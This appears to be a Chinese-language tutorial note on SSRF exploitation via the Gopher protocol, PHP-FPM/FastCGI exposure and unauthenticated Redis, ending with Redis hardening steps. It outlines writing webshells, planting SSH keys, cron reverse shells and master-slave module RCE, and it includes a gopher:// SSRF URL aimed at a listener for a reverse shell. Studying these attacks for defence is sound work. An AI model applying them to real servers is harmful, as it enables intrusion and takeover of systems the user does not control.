协议拓展


Gopher协议

概述

在WWW出现之前,Gopher是Internet上最主要的信息检索工具
GOPHER协议是一种比HTTP协议还要古老的协议,默认工作端口70
GOPHER协议可以以单个URL的形式传递POST请求,同时支持换行(能换行就有很大操作空间)

协议格式

URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
注意要有一个_,这个符号可以换成任意一个字符

GET请求

准备好请求数据

GET /testg.php?name=xxx HTTP/1.1
Host: 10.211.55.2

用BP全编码

%47%45%54%20%2f%74%......

加上格式

gopher://10.211.55.2:80/_%47%45%54%20%2f%74%......

编码的时候在最后一定要补%0d%0a代表结束
问号需要转码为URL编码,也就是%3f

POST请求

准备好请求数据

POST /testg.php HTTP/1.1
Host: 10.211.55.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
 
name=xxx

用BP全编码

%50%4f%53%54%20%2f%74%65%73%7......

加上格式

gopher://10.211.55.2:80/_%50%4f%53%54%20%2f%74%65%73%7......

编码的时候在最后一定要补%0d%0a代表结束
问号需要转码为URL编码,也就是%3f

漏洞原理

协议可以几乎无限制地传输各种数据

漏洞利用

反弹shell

http://192.168.0.109/ssrf/base/curl_exec.php?url=gopher://192.168.0.119:6666/_abc

监测及RCE工具

FastCGI协议

概述

FastCGI协议和HTTP协议一样是通信协议
http是浏览器(也就是客户端)和服务器中间件之间通信的协议,而FastCGI协议是服务器中间件和某种语言编写的正在运行的后端程序间的通信协议。
它支持分布式的运算,所以 FastCGI 程序可以在网站服务器以外的主机上执行,并且可以接受来自其它网站服务器的请求
FastCGI将CGI解释器进程保持在内存中,以此获得较高的性能

工作流程

漏洞原理

PHP-FPM(fastcgi进程管理器)默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信

漏洞利用

  1. 需要一个php文件,首选/var/www/html/index.php
  2. 然后要在PHP.INI中打开配置项auto_prepend_file和auto_append_file
  3. 接着使用上面说的那个Gopherus工具生成payload
  4. 根据配置文件Web Server辨别不是静态文件,此时就需要去找 PHP解析器来处理
  5. Web Server收到 index.php 这个请求后,会启动对应的CGI 程序,也就是PHP解析器
  6. PHP解析器会解析php.ini文件,然后就执行完一整个工作流程返回数据

Redis协议

概述

redis是一个key-value存储系统
它对数据支持复杂的操作、支持各种不同方式的排序、为了保证效率数据缓存在内存中
redis数据库一种,默认绑定在0.0.0.0:6379,攻击者直接可以访问到
默认无密码,登录账户为root

存在漏洞

  1. 未授权访问
  2. 访问敏感文件
  3. root权限写入webshell
  4. root权限写入公私钥

漏洞原理

能访问到、能登录、能写入(有root)

  1. 开放在公网,没有和ip绑定,默认无密码
  2. root权限
  3. webshell和公私钥匙通信原理
  4. 有可能把redis的默认端口6379修改

漏洞利用

Redis未授权访问

Redis默认情况下,会绑定在0.0.0.0:6379
如果没有配置非信任来源的IP访问限制,就会将Redis服务暴露在公网上
如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据

Redis写入Webshell

如果存在未授权访问,并且开启了web服务,知道了web目录的路径,并具有文件读写增删改查的权限
即可通过redis在指定的web目录下写入一句话木马,用菜刀连接可达到控制服务器的目的

Redis密钥登录SSH

redis对外开放,且是未授权访问状态,并且redis服务ssh对外开放,可以通过key登入时
在数据库中插入一条数据,将本机的公钥作为value,key值随意
然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys
把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key

利用计划任务反弹shell

利用Redis未授权漏洞,可以通过写入文件到系统计划任务目录 /var/spool/cron下来执行

远程主从复制RCE

4.x、5.x版本中,Redis提供了主从模式
主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写
通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式
在redis 4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令
缺点是如果目标机子只允许本地登录,则这种利用方法就不行了

本地Redis主从复制RCE反弹shell

对于只允许本地连接的Redis服务器,可以通过开启主从模式从远程主机上同步恶意.so文件至本地,接着载入恶意.so文件模块,反弹shell至远程主机。

防护措施

redis的安全设置:设置完毕,需要重加载配置文件启动redis

  1. 绑定内网ip地址进行访问
  2. requirepass设置redis密码
  3. 保护模式开启protected-mode开启(默认开启)
  4. 最好把端口更改
  5. 单独为redis设置一个普通账号,启动redis

评论
  目录